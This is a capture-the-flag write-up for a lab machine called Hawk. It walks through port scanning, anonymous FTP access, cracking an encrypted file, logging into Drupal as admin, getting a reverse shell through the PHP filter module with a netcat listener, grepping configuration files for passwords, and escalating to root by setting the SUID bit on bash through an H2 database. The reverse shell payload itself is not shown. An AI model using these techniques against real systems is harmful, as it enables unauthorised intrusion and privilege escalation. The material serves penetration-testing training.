Hawk

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.102 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,5000 10.10.10.91 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

As we can see in the nmap report, the anonymous login is available in the FTP server.

ftp 10.10.10.102

There is one directory called messages with a hidden file called .drupal.txt.enc.

ftp> ls

Let's download that file to our local machine.

get .drupal.txt.enc

Exploitation

As we can see, that file is encrypted with openssl.

file .drupal.txt.enc

There is a tool called openssl-bruteforce, which allow us to crack these type of encrypted messages. We just have to give it a wordlist, a ciphers list (in this case we'll use AES-256-CBC), and the encrypted file.

python2 /home/alfa8sa/tools/openssl-bruteforce/brute.py /usr/share/wordlists/rockyou.txt cipher.txt .drupal.txt.enc

We were able to crack the message successfully, and as we can see, there is a password in the message. The web server only shows a login page for the Drupal administration panel.

Logging in as admin with the found password will give us access to the administration page.

Now, we can see all the administration options at the top of the page.

Time to get a shell. First, create the rv.sh file with the following content.

nano rv.sh

Then, set a simple HTTP server with Python on the current directory.

python -m http.server 80

Now, set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

To be able to run commands on the server, we'll have to go to Modules, select the PHP filter module, and save the configuration.

Now go to Content, + Add content, Article, put a random title, and write the following code in the body of the article. This will download the rv.sh file from our machine, and send us a reverse shell. Make sure to select the PHP code option in Text format.

To run the command, click on the Preview button. Then, we'll get a shell as www-data, and we could grab the user flag.

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we search recursively in the /var/www/html for the password word, we'll see one password in the sites/default/settings.php file.

grep -r password 2>/dev/null

That password is valid for the daniel user, but we get a python shell, instead of the common bash shell.

su daniel

But we can get a normal bash shell with the pty module.

import pty;pty.spawn("/bin/bash")

If you remember, there was another HTTP server running on port 8082. And , as we can see the h2 service is being executed by root.

ps aux

But it looks like we can't access it.

But, we could access the website with an SSH tunnel.

sshpass -p 'drupal4hawk' ssh daniel@10.10.10.102 -L 8082:127.0.0.1:8082

Now, we can access the website as if we were the localhost.

There is a great guide on how to run commands on a h2 database. First, change the JDBC URL to something random, and hit Connect.

Now, run the following command, which will give the bash binary the SUID permission.

Finally, all we have to do is execute bash with SUID permissions, and reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?